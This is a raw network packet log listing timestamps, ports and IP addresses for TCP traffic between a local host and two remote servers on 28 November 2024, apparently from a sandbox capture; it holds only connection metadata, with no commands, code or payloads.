Nov 28, 2024 09:53:41.645107985 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.651504993 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.692676067 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.692948103 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.696751118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.699336052 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.734910965 CET	9000	49802	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.736658096 CET	49802	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.736778021 CET	49802	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.802201033 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.804733038 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.813150883 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.844089985 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.847585917 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.847632885 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.856842995 CET	9000	49802	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.890378952 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.924698114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:41.926048040 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:41.942514896 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.942543030 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:41.945794106 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:41.945869923 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.006973028 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.013508081 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.013542891 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.013731003 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.013750076 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.023634911 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.026700974 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.045105934 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.045959949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.047544003 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.091332912 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.135435104 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.135529995 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.146595001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.208322048 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.211483002 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.211524010 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.256151915 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.256243944 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.256431103 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.301878929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.357944965 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.358016014 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.409579039 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.412836075 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.412878036 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.420070887 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.466610909 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.466734886 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.477929115 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.493638039 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.493750095 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.497152090 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.497175932 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.514360905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.567609072 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.609695911 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.612633944 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.612695932 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.614870071 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.628000021 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.628087997 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.655334949 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.688462019 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.688595057 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.694705009 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.697041035 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.697067022 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.748003006 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.766664028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.766765118 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.810656071 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.816395044 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:42.816431999 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:42.856121063 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.886749029 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.886801958 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.898760080 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:42.898833036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:42.958425045 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.005018950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.017637014 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.020795107 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.020857096 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.020878077 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.020961046 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.020987988 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.023190022 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.023209095 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.023308992 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.023334026 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.052082062 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.052134037 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.097297907 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.097376108 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.140868902 CET	9000	49802	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.141040087 CET	49802	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.141056061 CET	9000	49802	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.141102076 CET	49802	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.172157049 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.217355013 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.217390060 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.217430115 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.221981049 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.227011919 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.227042913 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.260963917 CET	9000	49802	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.261754036 CET	49803	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.307650089 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.337362051 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.337414026 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.378017902 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.380913019 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.381669044 CET	9000	49803	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.381731033 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.381746054 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.381769896 CET	49803	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.381942987 CET	49803	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.383980989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.384002924 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.384670973 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.384691000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.428658962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.457690001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.457741976 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.465396881 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.502618074 CET	9000	49803	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.510478020 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.510493040 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.547746897 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.551887989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.578176975 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.578553915 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.579412937 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.580436945 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.580460072 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.627336025 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.629189968 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.629219055 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.668133974 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.668675900 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.698616028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.788620949 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.788661003 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.788734913 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.821398020 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.829349995 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.829381943 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.868948936 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.908742905 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.908960104 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:43.909090996 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:43.911319017 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.911329985 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.928009033 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.928030968 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.932537079 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.932558060 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.988972902 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.989037991 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.993413925 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.993434906 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.994133949 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:43.994152069 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:43.999073982 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.000694036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.076018095 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.119174957 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.119498968 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.120646954 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.190041065 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.194272995 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.194299936 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.239552021 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.239650965 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.239743948 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.274173021 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.317528009 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.317542076 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.322280884 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.322307110 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.322392941 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.322411060 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.394715071 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.402936935 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.404656887 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.442531109 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.442543983 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.445929050 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.445950031 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.445976019 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.445993900 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.450016022 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.450107098 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.524574995 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.570055008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.570178986 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.570194006 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.595870018 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.599570036 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.599603891 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.614459991 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.682292938 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.702449083 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.702696085 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.723763943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.723786116 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.727210045 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.727229118 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.728255033 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.728279114 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.784966946 CET	9000	49803	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.785161972 CET	9000	49803	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.785336971 CET	49803	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.785382986 CET	49803	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.801078081 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.801269054 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.804604053 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.804625034 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.804676056 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:44.804693937 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:44.864146948 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.864321947 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.896147013 CET	49804	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.900981903 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.903048992 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:44.905304909 CET	9000	49803	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.984297037 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:44.984431982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.002137899 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.005841970 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.005868912 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.016365051 CET	9000	49804	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.016472101 CET	49804	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.016647100 CET	49804	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.023025990 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.033229113 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.083139896 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.112159967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.112293005 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.136559010 CET	9000	49804	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.169322968 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.172677040 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.172705889 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.172796011 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.179125071 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.179790974 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.179800987 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.182543039 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.182624102 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.182641983 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.183206081 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.195008993 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.195091963 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.227336884 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.292135000 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.315097094 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.315154076 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.326809883 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.370829105 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.374694109 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.374746084 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.380012989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.442748070 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.442903996 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.571856022 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.574975967 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.575011969 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.578510046 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.578608036 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.665929079 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.666047096 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.669126034 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.669147015 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.740189075 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.740361929 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.773062944 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.773355961 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.776742935 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.776771069 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.777865887 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.777879953 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.817547083 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.860424042 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.860485077 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.868762016 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.872137070 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:45.872162104 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:45.909739017 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.958148003 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:45.980568886 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:45.980777025 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.017457962 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.020917892 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.020945072 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.069956064 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.070822001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.070897102 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.075836897 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.075869083 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.100872040 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.146008968 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.190903902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.191167116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.192544937 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.192565918 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.195791960 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.195848942 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.195878029 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.195894003 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.271109104 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.274629116 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.274657011 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.352056980 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.352303028 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.401413918 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.401568890 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.418132067 CET	9000	49804	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.418234110 CET	9000	49804	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.418292046 CET	49804	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.418338060 CET	49804	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.472620010 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.517575979 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.520530939 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.520549059 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.521398067 CET	49805	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.521465063 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.521517038 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.521630049 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.538203001 CET	9000	49804	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:46.548926115 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:46.567581892 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:46.598795891 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:46.598807096 CET	443	49776	13.107.246.63	192.168.2.4
